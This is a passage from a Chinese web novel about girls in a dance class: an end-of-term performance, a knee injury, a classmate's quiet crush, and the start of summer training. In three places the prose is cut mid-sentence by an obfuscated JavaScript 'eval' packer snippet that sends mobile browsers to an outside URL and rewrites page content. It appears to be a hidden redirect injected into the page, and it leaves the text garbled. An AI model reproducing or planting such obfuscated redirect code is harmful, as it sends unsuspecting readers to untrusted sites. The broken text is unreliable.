“陈祝，你这个年纪正是对爱情好奇和懵懂的时候，所以喜欢一个女孩子是非常正常的事情，为了见她想尽办法也是非常正常的事情，但是呢——”祝好稍收了些笑，“撒谎是不对的，不想说理由，可以问爸爸，能不能稍微等一会儿。你知道的，你不想说的事情，我们是不会刨根问底的。” “抱歉妈妈，我知道了。”陈祝说。 祝好俯身，想摸摸陈祝的脑袋，但够不到，于是拍了拍陈祝的膝盖，“乖。” “还有一件事，”陈礼民忙完了，收起笔记本回头看着陈祝说，语气有几分严肃，“不论暗恋还是追求，都不能给女孩子带去麻烦，懂吗？” 陈祝郑重点头，“我知道了爸爸。” 祝好：“好了，既然都说开了，那么请问陈大才子，现在可以回家了吗？” “陈大才子”这四个字从自己母亲嘴里说出来实在有些难为情，陈祝有点嫌弃。 “祝女士，可以别调侃我吗……” 祝好挑眉笑，“咦，听出来了啊，哈哈哈哈……” “……哈哈哈哈，梦梦，你真是阿姨的开心果，”彭玉环说，“没有你在的日子，阿姨不知道少多少快乐呢！” 薛梦臭屁，“我就是传播快乐的小天使！” “小天使如果能自己写作业就好了。”尚佳在一旁补刀。 薛梦不然，理直气壮道：“天使的职责是传播快乐，不是写作业！” “好好好。”尚佳闭眼点头，没再反驳。 别看薛梦平时没心没肺，但她情商很高，不然也不能认识那么多同学。所以这天晚上她没有跟尚佳睡一间屋，洗漱完去了客卧。 彭玉环嘱咐好她后，敲开了尚佳卧室的门。 她没有拐弯抹角，坐在床边柔声说：“海雯老师跟我和爸爸说了，桃李杯取消了。” 尚佳这次没再压抑自己的情绪，主动窝进彭玉环的怀里，默默流泪。 彭玉环抱着她，轻拍她的后背，柔声问：“是不是一直在压抑自己的情绪啊？” “嗯。”尚佳闷闷地点头，彭玉环没再说话，安静等尚佳发泄完。 几分钟后，尚佳的哭声歇了，缓慢离开了彭玉环的怀抱。彭玉环抽了两张床头柜上的纸巾，轻轻拨开尚佳脸颊两侧的头发，弓着背给她擦眼泪。 “宝贝，你可以克制自己的情绪，真的特别棒！不过妈妈今天想跟你分享另外一个词，有兴趣听听吗？” 尚佳抬头，通红的双眼盯着彭玉环，认真道：“有。” 彭玉环笑着摸摸尚佳的脸，声音温柔，“驾驭。” 尚佳不懂，“驾驭？” “克制情绪是非常独特的智慧，可情绪、欲望这些，是我们的生存工具，如果一味地克制，虽然能够得到了片刻的成功，但我觉得失去的会更多。所以相比克制，妈妈认为，能够驾驭它们，才是真正的大智慧。” “就像……嗯……”彭玉环想了想才又说，“就像你的空翻一样。” “你过去第一个空翻的时候，是努力克制压抑住了自己对于腾空的恐惧。可后来能够游刃有余地翻越，而且还能各种花样地翻越，便不再是克制恐惧了，而是驾驭了恐惧。” 看着尚佳一脸懵的状态，彭玉环笑了，重新把她抱进怀里，“慢慢思考理解，总有一天会明白。妈妈就是想跟你说，发生的一切都是最好的安排。可以难过，但不要难过太久，好吗？” “好！”尚佳问，“妈妈，你今天能陪我睡吗？” 彭玉环笑，又往怀里揽了揽尚佳，宠溺道：“当然。” 后来两人就没有再说这个话题，彭玉环了解自己的女儿，知道她的性格，所以明白说多了，可能反而会起反作用。 桃李杯虽然取消了，但《鳍》是存在的，它作为尚佳的个人剧目，在期末汇报舞台演出。 晚自习扒集体剧目的时候，尚佳看着平板里的舞蹈，心想挺好的，这样一来时间宽松了许多。 集体剧目展现的是一个抗日的故事，整支舞蹈的结尾视觉效果极其强烈，是故事中年纪最小的女孩身上挂满炸弹，从高处仰面倒下，与日寇同归于尽。 尚佳把这个角色给了梁佳怡，除了她确实是班里年纪最小的以外，也是班里最矮的，大家接住她会相对轻松。 只是这对梁佳怡来说实在有挑战，因为她恐高。 “班长我不行！”梁佳怡站窗台上，抱着一旁的墙不撒手，“太高了真的太高了，我害怕……” “我们一定能接住你！”薛梦发誓，“保证不会摔倒你！” 王宛也说：“相信我们，不会摔了你的！” 梁佳怡一张小脸皱巴巴，“我当然相信你们，我就是害怕……真的太高了……” “要不你先蹲着往后躺呢？”赵璐温和道，“蹲着会不会没有那么害怕？” 秦雅然：“对佳怡，你先蹲着试试。” 大家七嘴八舌鼓励梁佳怡，尚佳没说话，她看着面对面站成两排的14个人，开始调整所有人的站位。 “薛梦，你到我对面来，赵璐你去最后，跟雅然负责接住佳怡的头，王宛你到我左边来……”一番调整后，尚佳仰头看着猴一样的梁佳怡，“我和薛梦能接住你腰的位置，不论其他人怎样，我俩一定保证你的安全，这样可以吗？” 梁佳怡看了看，商量道：“那我能先蹲着来一次吗？” “当然！来十次都可以！”尚佳说。 “多少次我都接得住！”薛梦也说。 “对呢，我们有的是力气！”王宛说。 在大家的鼓励和安慰下，梁佳怡渐渐松开抱着墙的手，扶着窗框缓慢蹲下。 窗台很宽，刚好能容纳她。 她抱着膝盖紧闭双眼，嘴唇也咬得有些发白。深呼吸好几次后，她给自己打气道：“我来了！我真的来了！3、2、1！” 梁佳怡的感受是，躺下去的瞬间是害怕的，但恐惧仅仅就那么零点几秒。还不等感受恐惧，其他人就已经紧紧接住自己了。 大家把梁佳怡扶起来，尚佳问她：“是不是没有想象中那么害怕？” “还行，”梁佳怡拿手捏了个小小的七，拖长了音调说，“但也确实有那么一丢丢——吓人。” “我们很靠谱的！”薛梦说，“要不要站着来一次？” 梁佳怡长吁一口气，看着窗台下定决心，“来，站着来！” 她脊背挺直，步伐坚定，一层层迈上残破不堪的旧楼，转身看着尸首遍布的血色大地，唇角一丝讥讽的笑。 不远处的战友冲她呐喊、摇手，想要拼命阻拦她，可她早已下定决心。 她垂眸，最后看了一眼并肩作战的伙伴，然后拉下身上炸弹的绳子，果断转身，仰面而下。 灯光熄灭，爆炸声起。 三秒后，剧院内响起雷鸣般的掌声。 “快快快！”于海雯在侧幕挨个推着大家的后背，催促道，“快换衣服！”在看到尚佳后，拽着她的手就跑，“快走快走！” 学期末的汇报并不是所有人都有能力展示个人剧目，为了给大家足够准备的时间，集体剧目最后几分钟赵璐没有参与，提前下台换了衣服和造型。 这样大家表演完，她接着就可以上台，不会让舞台冷下来。而且她汇报的时候，又给了下一个人换衣服的时间。 一共五人汇报个人剧目，尚佳压轴，她有将近十五分钟的时间。 但她除了换衣服，最重要的是需要改妆面，所以这十五分钟并不充裕。 剧院在新校区， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084538|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占地面积很大，但后台化妆间并不多。加上今天汇报的不止11级舞蹈班，还有10级的两个班，三个班的学生加一起将近五十个人，化妆间远不够用。 尚佳除了《鳍》以外，还有一个民族舞的个人剧目，服装加上道具，她的东西最多。为了方便，单独把东西放到了剧院二楼的会议室。 两人一路狂奔，跑进会议室后于海雯整理剧目服装，尚佳快速褪下身上的练功服，在于海雯的帮助下顺利穿好《鳍》的演出服。 “快坐下，给你改妆！” 于海雯说着，拿出自己的化妆包，从里面抽出昨天准备好的网状假发套，给尚佳肩膀和小臂处画鱼鳞。 眼影铺完，还拿细画笔蘸取白色水彩，简单描了边。 她画的时候，尚佳用空余的手给自己加深了口红，还在眼尾贴了鱼鳞形状的亮片。 妆容改完，于海雯又给尚佳修改发型戴头饰。 一切整理完毕，于海雯看了看尚佳，确保没有问题后，冲她摆摆手道：“快去准备，我来收拾！” “好！”尚佳也没客气，穿上服装外套小跑出了门。 艺术学校舞蹈专业的期末汇报尤其热闹，许多其他专业的学生如果是自习，都会偷偷来欣赏。 所以当穿了一身跟平常演出服材质款式，甚至档次都明显不一样的尚佳，从二楼会议室跑出来的时候，看到她的人下意识驻足欣赏。 她像极了从大海深处偷跑出来的美人鱼，灵动至极。 陈祝今天也来了。 李诺因为洗了冷水澡，已经连续高烧三天了，她担心今天自己万一状态不好，会影响辛苦了一个学期的孩子们，所以特地让陈祝一起来，避免万一。 集体剧目结束后，陈祝听李诺交代了几句，然后趁尚佳没上台的间隙，拿自己和李诺的水杯去了后台。 接完水转身，刚迈出开水间，就见换了演出服的尚佳，像一阵裹挟着暮色与晨雾的风，从自己面前一闪而过。 轻盈如风掠，衣袂似云涌。 他下意识偏头，听觉在此刻失灵，周围一切也在刹那间模糊。 所有的感官中，仅有尚佳一个人。 宽松飘逸的衣袖荡漾着，后背拖曳到地的裙摆如同巨大的蝶翼，随着她的步伐飞舞游动。 这须臾的一幕，像一片被拉长的、流动的蓝紫色烟霞；像一抹乍然出现在眼前，却足够惊艳和记忆一生的流星。 只几秒，尚佳就消失在了转角处。 她消失的同时，陈祝的视觉听觉也逐渐回来。 夸赞、感慨、惋惜等各种声音飘进陈祝的耳朵。他没有听，也丝毫不在意，握紧手里的水杯转身往侧幕走。 舞台侧幕是演员准备的区域，也是工作人员的区域。 可惜的是，舞台有两侧，尚佳在对面。 庆幸的是，尽管侧幕基本没有光线，但此刻舞台上灯光明亮，陈祝的视线越过舞台看向对面，完全可以看清黑暗环境中，认真热身的尚佳。 几分钟后，灯光熄灭，薛梦下台，冯伟跟其他两名老师把贝壳、海草等道具搬到舞台上，尚佳紧随其后登台，卧在了贝壳上。 后来，率先起的是音乐，不多久一束追光灯缓缓亮起。 沉睡在贝壳上的那只美人鱼，苏醒了。 - 陈祝日记： 「2015年5月21日，小满。 桃李杯取消了。 我听到这个消息都难以置信，更不敢想尚佳听到的时候，是怎样的难过。 我想带她散心，想尽自己所能为她做点什么。 这几乎是下意识的反应。 我并没有信心尚佳会同意，但看到她点头的那一刻，一颗心怦怦乱跳，书中所描述的那种天都亮了的氛围，我感受到了。 她说我的声音很治愈，谢谢父母给了我一副好嗓音。 希望以后有很多机会，可以说很多话给她听。」 14. 坚韧 . 蓝色灯光配合特殊手法，在舞台上打出水波光影。 俏皮灵动的美人鱼在海底肆意游玩，她旋转、奔跑、跟其他动物打闹。 一次偶然，爱美的她听到了只要成功跃过龙门，便能拥有传闻中的华丽鱼鳍。于是她告别家人，独自踏上寻找龙门的旅途。 功夫不负有心人，历经重重困难后，龙门终于被找到，小人鱼开始不断尝试努力。 此时音乐来到了高\潮，陈祝看着尚佳舞动到自己这侧，一个大跳后利落接两个前空翻，然后一个过渡动作抵达舞台另一侧，一个衔接动作后，开始串翻身。 几个翻身到达舞台中央，接了四个绞腿蹦子。 动作稳稳收住的同时，音乐顿然停止，灯光也熄了。 这一幕让台下的观众纷纷发出好奇的声音，陈祝也睁大眼睛不明所以。 结束了？ 还不等所有人反应，灯光与音乐再一次响起，光亮与声响全部进阶一个度。舞台上的那条美人鱼成功跃过龙门，生出了华丽的尾鳍。 游龙惊鸿，玉骨雾縠。 尚佳与复杂华丽的服装融为一体。 几个大起大落、大开大合的动作后，《鳍》的首次演出，完美结束。 台下掌声不断，侧幕全是惊叹声，同时也掺杂着各式各样的惋惜声。 学期汇报学校会要求家长出席，彭玉环坐在位置上红了眼眶。她不敢想，自己的女儿要付出多少努力才能把这支舞演绎到如此，更不敢想能演绎到如此程度后，得知桃李杯取消，是怎样的心情。 尚明知道她难过，紧紧握着她的手，歪头在她耳边轻声安慰。 整场演出陈祝都没什么表情，结束后他也没有动，盯着尚佳跑到舞台前优雅谢幕，随后灯光熄灭，她朝自己的方向跑来 擦肩而过的刹那，陈祝随着尚佳转过去，看她跟于海雯笑着聊天，心中五味杂陈。 海边那天回去后，陈祝躺在床上，搜索了桃李杯舞台的样子，也看了几个剧目，但怎么看怎么觉得，屏幕里的人跳得实在一般，照他的尚佳差远了。 然而事实上，他看的是青年组的比赛，所以无论动作还是技巧，屏幕中的人都远优秀于尚佳。 当舞台上没人时，陈祝暂停了视频，盯着手机屏幕，想象尚佳穿着一身宝蓝色练功服站在上面。 灯光打下来，四肢修长纤细的尚佳随着音乐炫技。 高难度的动作，干净利落的舞姿。 她一定耀眼极了。 那晚，陈祝就这样盯着屏幕想，想着想着便睡着了。 于海雯拍了下尚佳的屁股，笑着催了她一句什么，尚佳转身离开。 陈祝目送尚佳跑出自己的视线，他觉得自己应该跟上去，告诉尚佳她的剧目很厉害，特别厉害。 就算不说舞蹈，说点其他的也行。 总之，他应该去说些什么。 - 个人剧目结束后，有十五分钟的休息时间，休息结束后是最后的技巧课汇报。 《鳍》的头饰复杂，拆卸需要花费时间。为了赶紧换衣服，尚佳把裙子和长长的外衣拢在胸前抱着，大步流星往二楼跑。 楼梯还剩最后两阶的时候，因为视野受限，右脚被台阶绊住，尚佳整个人腾空后右腿膝盖着地，狠狠摔趴在了地上。 尚佳很瘦，胖胖的人都没怎么有肉保护的膝盖骨，在她身上更是就一层皮。 这一摔没有防备，反应过来自己摔在地上后，尚佳整个人都是懵的。 最先感受到的是发麻的全身，然后右腿膝盖传来一阵尖锐的刺痛，紧接着是骨头深层的酸麻钝痛。 她趴在地上许久没有起来，直到有人唤她的名字。 “尚佳？” “你怎么了？” 尚佳勉强回头看，就见陈祝三两步爬上楼梯，蹲在自己身边，下意识伸出的双手在距离自己几厘米的位置停住，想扶好像又不敢。 她顾不上许多，一心只想着赶紧换衣服。于是抬手主动搭在陈祝的胳膊上，有气无力道：“能帮忙把我扶起来吗？” 这下陈祝没再犹豫，双手扶着尚佳的小臂，稳稳把她搀了起来。 许久以后尚佳回想起这一幕，才发现陈祝的双手精瘦纤细。 有些凉，但很有力量。 起身后，尚佳立马察觉到自己的右膝盖没有任何力量或者支撑感，两个手掌也痛得发麻，抬起来一看，掌心红肿一片。 她闭眼蹙眉，长叹一口气，暗暗懊恼自己怎么摔倒了，然后借着陈祝手臂的力量，跛脚走进会议室，一路上膝盖都在打颤。 进屋后，陈祝把她扶坐在靠近门口的一张椅子上，坐下后尚佳快速挽起裙子查看伤势。 出血并不严重，但明显磕掉了一层皮，粉白色的血肉暴露在外面，四周已经殷了一圈紫黑色的淤青。 整个膝盖已经肿了，而且无法伸直弯曲，稍一动就锥心地疼。 “你还有时间去医务室吗？”陈祝蹲在尚佳面前，蹙着眉心问她。 尚佳摇头，“没有了。”她抬头对上陈祝的目光，“谢谢你陈祝，但我得赶紧换衣服了。” 陈祝没再说话，深深看了尚佳一眼后，快速出了房间并帮忙关好门。 屋内的尚佳没有时间犹豫思考，她快速脱掉身上的演出服。 整个膝盖都很疼，弯曲伸直的时候尤为要命，但尚佳的动作没有因此有丝毫的减慢，她用最快的速度换好练功服，一瘸一拐跑到门口。 会议室大门打开，映入眼帘的是疯狂向上攀爬楼梯的陈祝。 他一步几级台阶，几步就跑到了尚佳面前。 尚佳抬头望着他，不知道他去了哪里，又为什么如此着急回来。只是发现认识他这么久，第一次如此直观地感受到，原来陈祝很高。 尚佳169，可陈祝比她还要高大半个头。 “你这是？”尚佳问 陈祝举起手里的东西，垂眸看着尚佳说：“我去医务室拿了个无菌贴，先贴一下吧。” “医务室？”尚佳惊讶。 新校区为了整体造型美观，地势有高有低。 剧院在整个学校最里面，也是学校最高的地方，门口有一段不算矮的楼梯。而医务室在学校中央位置的综合楼里，处于平底。从这里到医务室除了地形高度差以外，还需要穿过整个操场。 就算用跑的，少说也得五分钟。可从刚刚陈祝走出会议室到现在，绝对没有那么久。 尚佳问：“你刚刚去医务室了？” “嗯，”陈祝点头，把手里的东西又往尚佳面前递了递，“先凑合用一下。” 尚佳垂眸，盯着陈祝手里的一次性绷带，一秒没犹豫，果断接过，“谢谢。” 她撕开包装，取出里面的白色绷带贴，陈祝顺势接过她手里的一次性包装袋。好在技巧课不用穿大袜，不然陈祝争分夺秒拿来的无菌贴压根没时间用。 “谢谢你陈祝，”尚佳贴好起身，“我先走了。” 说完，尚佳忍着疼痛，一步步谨慎又快速地往舞台方向走。 盯着她疼痛但咬牙坚持，并努力前行的背影，望着她一天内第三次消失在自己的视线中，陈祝低头看了看掌心里的包装袋。 他很确认，他更喜欢尚佳了。 - 技巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084539|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课结束后，于海雯才看到尚佳膝盖上的绷带贴，而那时的尚佳已经疼麻木了。 “你膝盖怎么了？”于海雯问。 尚佳低头看了一眼，毫不在意地说：“没事，刚刚换衣服的时候不小心摔了一下。” “摔哪里了？”于海雯蹙着眉心走到尚佳面前蹲下，“我看看。” 她说着就要揭下尚佳膝盖上的绷带，被尚佳伸手捂住。 “没事海雯老师，不小心摔地上了，破了一点皮。” 于海雯不信，焦急道：“一点皮你呼这么大个绷带啊？赶紧揭下来我看看！” 见于海雯不看不罢休的态度，尚佳不再墨迹，慢慢撕开了陈祝给她的无菌贴。 原本就没有处理的伤口，因为刚刚技巧课的大动作，流了一些血，红肿也更严重。好在有陈祝的无菌贴保护着，不然刚刚地毯上飞起的毛绝对会沾满创面。 “这叫破皮啊尚佳！”于海雯急了，但她走不开，扭头把一旁收拾东西的薛梦薅过来，“薛梦！别收拾了，带尚佳去趟医务室！” 薛梦不知道发生了什么，跑过来才看见尚佳膝盖上的伤，“妈呀你怎么弄的啊尚佳！” 于海雯说：“你带着她赶紧去医务室，你俩的东西不用管我来收拾，弄完直接去停车场，我开车带你俩回去。” 薛梦应了一声，然后搀着尚佳就往外走。 路上，薛梦低头看着尚佳的膝盖，问：“你怎么弄的啊小佳佳？” 尚佳叹了口气，无奈道：“换衣服的时候时间太短我太着急了，演出服又大，没看清楼梯，摔了个狗吃屎……” “What？”薛梦震惊，“技巧课前摔的？” “嗯。” “那你整个技巧课汇报，膝盖都是这个状态？” “嗯。” 薛梦惊呆了，这伤势如果换成别人，别说做技巧了，路估计都走不了。 她冲尚佳竖了个大拇哥儿，由衷地佩服。 - 每个学期末汇报结束后，专业课班主任会召开家长会，学生则在专业课教室等着，到了下课时间再回文化课教室。 尚佳膝盖受伤，上下楼不方便，被于海雯安排去了宿舍。因为知道她跟薛梦关系好，本来还是想让她负责送尚佳回去，但恰巧其他专业课老师找薛梦有事，于海雯就让同宿舍的秦雅然送尚佳。 路上尚佳跟秦雅然说：“其实我不用送，我自己也能回去。” “还是别了班长，你这膝盖一看就摔得厉害，不借着劲儿好得更慢。” 秦雅然说这话的时候，语气有些丧丧的，情绪明显不高。 尚佳偏头看了一眼她，轻声问：“怎么了？感觉你不开心。” 秦雅然没吭声，安静把她扶进宿舍大门。 宿管阿姨见尚佳被搀着进来，连忙打开自己房间的门，关心道：“尚佳怎么了？”她顺着尚佳一瘸一拐的动作往下看，看见膝盖被绷带裹着后，忙问：“呀！膝盖怎么了？” “没事阿姨，不小心摔了一下。”尚佳说。 “哎呦……”宿管阿姨拖着声音说，“这一看就摔得不轻，你俩先慢点上楼，我从里面的楼梯快走给你们开门。” 尚佳：“好，谢谢阿姨。” 秦雅然：“谢谢阿姨。” 上楼进了屋，接下宿管阿姨的嘱托后，秦雅然的任务就完成了，她起身看着尚佳，说：“班长你在宿舍好好休息，我先走了。” 然而尚佳并没有想就此放她走，她拉住秦雅然，歪头调皮又问了一遍，“不行，雅然北鼻，你把我扶回来，我也想帮助你。” “所以方不方便告诉我，为什么不开心？” 15. 友情 . 秦雅然盯着尚佳看了两秒，走到她身边坐下，泄了口气，上半身弓成蜗牛。 “班长，刚刚从剧院走的时候，我听到有老师说，这次考试我是最后一名，”她头快低到胸口，整个人沮丧极了，“我真差劲，连续三次班里最后一名了。” 尚佳认真听着，等秦雅然说完难过的理由后，抬手呼啦了两下她的后背，“蓝海可没有差生，舞蹈专业更没有，11级舞蹈班更更没有！”她弯腰，让自己的眼睛跟秦雅然的平视，“你说呢？” 秦雅然看着她，虽然还是难过，但难过的时候能有人安慰，真的会好特别特别多。 “嗯！”秦雅然点头，“是！咱班就没有差的！” “咱班就是没有一个差孩子！”于海雯说，“我还是那句话，一次很小很小的考试成绩而已，不是人生答卷，所以哪怕不满意孩子这一次的名次，也不要给孩子太大的压力。” 于海雯站在讲台，从容跟所有家长交代。 “再开学就是高二了，但因为咱班的孩子十月份要参加一个全国性质的比赛，所以这个暑假，孩子们没办法在家里度过了，需要进行集训。” 学校本就是封闭式，15个姑娘只有节假日才回家，甚至有几个家很远的节假日都很少回去。所以当讲台下的家长一听这个暑假见不到孩子时，开始交头接耳。 “海雯老师，”王宛爸爸举手问于海雯，“集训是在学校吗？孩子不能回家，那我们能来看吗？” 梁佳怡妈妈也说：“对啊海雯老师，我们能来看吗？要是暑假再不见，开学跟下学期又接上了。” 秦雅然奶奶：“我上半年身子不好，雅然爷爷不放心我，我俩已经几个月没有好好陪陪雅然了。” “对啊，能来学校看看吗？” “是啊，能来吗？” “大家听我说，”于海雯抬手示意大家安静，“集训不在学校，在海边的一处剧院里，住宿是剧院旁边的四星级酒店，三餐也已经跟酒店单独订好了，稍后我会把地址和详细情况发到微信群里。” 于海雯放下手，双手撑在讲台上，继续说：“学校暂定集训期间每周天休息，所以各位家长如果想看，可以周天来，而且这次集训不会收手机。” “不收手机可太好了！”梁佳怡妈妈说。 赵璐爸爸附和：“是啊，能随时打电话了。” 彭玉环说，“就算不能天天见，晚上打打电话也很好。” 薛梦妈妈闻言回过头，看着彭玉环说：“不收手机，就我家薛梦那个性格，指定天天晚上骚扰我！” 彭玉环笑道：“梦梦多可爱啊，开心果一枚！” “哎呦，”薛梦妈妈露出一丝宠溺的嫌弃，“也就你把她当开心果，我和她爸都要烦死了。” 于海雯拍拍手，制止了大家的自由讨论，“还有什么问题吗？” “当然有问题！”冯伟皱眉质问于海雯，“谁让你私自跟家长说能探望的？这次集训请的可是你的大学老师，她有多严格你自己知道！这两个月，尚佳她们不比初中轻松，那么辛苦的集训，怎么能让她们见家长呢？” 于海雯见冯伟急了，立马上前安慰，“哎呀别生气别生气，坐坐坐。”成功让冯伟坐下后，又十分狗腿地端起他的水杯，“来来来，喝口水” 冯伟接过水杯放到一边，偏头不看于海雯，“我不渴！” “啧！”于海雯轻拍了冯伟一下，“你这就没意思了老冯！那暑假本来就没了，集训又很辛苦，要是孩子们再没有家人安慰鼓励，这两个月得多难熬啊！” 冯伟其实刚三十出头，但奈何于海雯小，所以经常老冯老冯地喊他。 冯伟一本正经道：“就是因为太辛苦，才担心见到家人委屈哭诉后，心理产生变化！” “哎呀放心放心，不会的，我的孩子我清楚！”于海雯打包票。 冯伟不吃她这一套，一扬手，严肃道：“你就不怕我扣你绩效？” 于海雯嘿嘿一笑，故作乖巧，“那冯主任，您把我这月绩效扣了，让孩子们休息日见家长呗？” 冯伟扭头，“你自己跟刘主任说去，我不管！” 一起工作四年，于海雯太了解冯伟是什么样的人了，典型的刀子嘴豆腐心。 她歪着身子看冯伟，笑道：“谢谢冯主任！” 冯伟回了她一个白眼，开始赶人，“行了，你还不走？别让你班孩子等着急了！” 于海雯对15个女孩好，姑娘们自然也对于海雯。 在尚佳的带领下，她们从初中起就会给于海雯各种各样的惊喜。 比如每年感恩节、教师节的惊喜仪式，比如于海雯生日当天的庆生礼物和节目，再比如每个学期末，大家都会众筹请于海雯吃饭。 “我们孩子懂事，时间约在了七点半，给我留了梳妆打扮的时间！”于海雯说这话的时候颇自豪。 冯伟冷哼一声，语气看似不屑，实则羡慕地说：“有什么好炫耀的！赶紧走吧！” “那我走了冯主任，再次跟您老人家说声谢谢！” 话落，于海雯调皮地冲冯伟鞠了个无敌做作的90度躬，这才转身出门。 重要的约会一定要盛装赴约。 这句话的践行者除了于海雯，还有11级舞蹈班的15个女孩。所以当16个女生在相约好的餐厅碰面时，互相夸赞调侃。 “哎呦一个个的，可看出来是马上步入高二的大孩子了啊！”于海雯挨个看挨个说，“王宛这帽子不错，每天都给我戴着，养白点！” “秦雅然你这裤子显得你腿跟尚佳一样长！好看！” “赵璐你这个短裤好看，回头跟我说在哪里买的，我也买一件！” “梁佳怡你脚上的铆钉鞋也太有个性了吧，真酷！” “薛梦这条裙子有点美哦，正好把你纤细的四肢全露出来，完全像大姑娘了！” “尚佳不用多说，白T牛仔裤能穿出你这种效果的，都必须得是顶尖儿的美人儿！” 绕场一周夸赞完，于海雯坐下，也示意大家坐，“别站着了都，快坐。”说完又重点指了下尚佳，“尚佳你赶紧坐别站着了！薛梦扶一扶。” 薛梦立马应下，“好嘞！” “我没事儿海雯老师，不用扶。”尚佳说。 于海雯嗔怪道：“没事儿什么没事儿，你赶紧的吧，不然暑假集训可咋办。” “集训？”梁佳怡看着于海雯问，“什么集训海雯老师？” 于海雯：“先都坐，坐好了我来说。” 等到所有人坐好，于海雯才开口道：“十月份就要比赛了知道吧？” 15个女生拖着长腔，“知道~” 于海雯：“所以这个暑假你们要集训，没法回家了，下午家长会的时候我已经跟你们家长说了。” 赵璐问：“在学校集训吗？” 于海雯摇头，“不是，在校外。一会儿吃完回去赶紧收拾东西，明天上午十点在学校门口集合，坐校车去集训的地方。” 此时有服务员进来上菜，上完菜，于海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084540|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雯不想孩子们都饿着，赶紧说完了假期安排。 “整个暑假都要集训，所以你们一定要拿够换洗衣服还有洗漱用品，其余的明天到了地方再细说，听明白了吗？” “听明白了！” - 第二天一早，两个宿舍15个女生早早收拾好动作，拎着各自的行李箱在宿舍走廊闲聊天。 尚佳的膝盖已经没有昨天那么疼了，但走路还是有点不顺。于是梁佳怡承包了她的行李，薛梦承包了两个宿舍的检查工作，赵璐秦雅然一边一个扶着她，其他人自动分成两拨，一前一后护法。 这阵仗尚佳实在觉得很夸张，但她拗不过，像重刑犯一样，被一群人“挟持”着往学校门口走。 校车已经在门口了，一同等待大家的还有于海雯和冯伟。 这次舞蹈的主要负责老师是冯伟，但于海雯不放心，也跟了过来。当15个姑娘看到站在校车旁，穿着一身牛仔套装的于海雯时，一个个喜笑颜开，完全忘了被看押的尚佳，恨不得扔下行李跑过去。 梁佳怡最先跑到她身边，咧着嘴问：“海雯老师！你怎么在这！” 王宛紧随其后，“对啊，这次集训你也一起吗？” 于海雯笑着回答：“我不一起，今天来送你们，顺便看看住的地方还有饭菜。”她捏着王宛的脸，“你看你脸胖的，待会要是伙食太好，我立马找人给你们换成萝卜青菜！” 大家嘿嘿地笑，没当真。 她们知道于海雯什么时候说的是真话，什么时候是调皮故意吓她们。 一旁的冯伟催促道：“行了别磨蹭了，都赶紧上车吧。” 尽管知道是去集训的，但此情此景实在像是去旅游的，所以一路上大家都很兴奋。 薛梦跟尚佳坐在最后面的位置，两人歪头聊天。 “我妈早上跟我说，学校给咱安排了酒店住，还有特定的三餐！” 尚佳笑，“听起来真像是度假。” “是不是！”薛梦激动，“我早上也是这样说的！”就是激动了没两秒薛梦就蔫了，“不过哪有度假还上班的，还上六休一，都没有平时轻松。” 尚佳转头看她，“但集训跟平时还是不一样，肯定没有那么累，说不定也会组织撕名牌什么的。” “说到撕名牌——”薛梦想起来什么，往尚佳身边靠了靠，神秘兮兮地问：“小佳佳，我还一直没问你呢，你把陈大才子的名牌放哪里了？” 尚佳想了想，说：“好像塞我柜子里了。” “好像！”薛梦对此极其不满意，“你就是这么对待校草名牌的吗尚佳！！！” “……” 尚佳不解，“那我应该怎么对待，找个相框裱起来吗？” 薛梦长叹一口气，葛优瘫在椅子上，“唉，暴殄天物啊，早知道那天你给我我就收着了！” “没事儿，”尚佳笑，“集训回去我给你也不晚。” 薛梦摇头，“别了，我又不喜欢他，藏着他的名牌，怪怪的。” 这话引起了尚佳的沉思。 对啊，自己又不喜欢他，一直这样藏着他的名牌，确实怪怪的。 找个机会还给他吧。 不再聊天后，尚佳转头看向窗外，一眼就认出了现在行驶的路段，就是那天陈祝带她来的海边。 当汽车驶过那天两人驻足的位置时，尚佳不禁开始思考。 那自己的名牌呢？ 那张印了自己名字的名牌，陈祝是换了礼物，还是跟自己一样，放在了柜子里。 16. 偶遇 . 到地方后，冯伟带着一群人前往酒店大堂，拿过房卡后往下分发。 “除了一间三人房，其他都是双床房，你们自己分配怎么住。我住在304，记好了，避免有事找不到我。” 房间分好，于海雯挨个带着入住。 等到所有人都认领完两个月的小猪窝，清楚了去剧院的路以及集训的舞台，也到了吃午饭的时间。于是一行人在冯伟的带领下，又轰隆隆去了餐厅的一处包间。 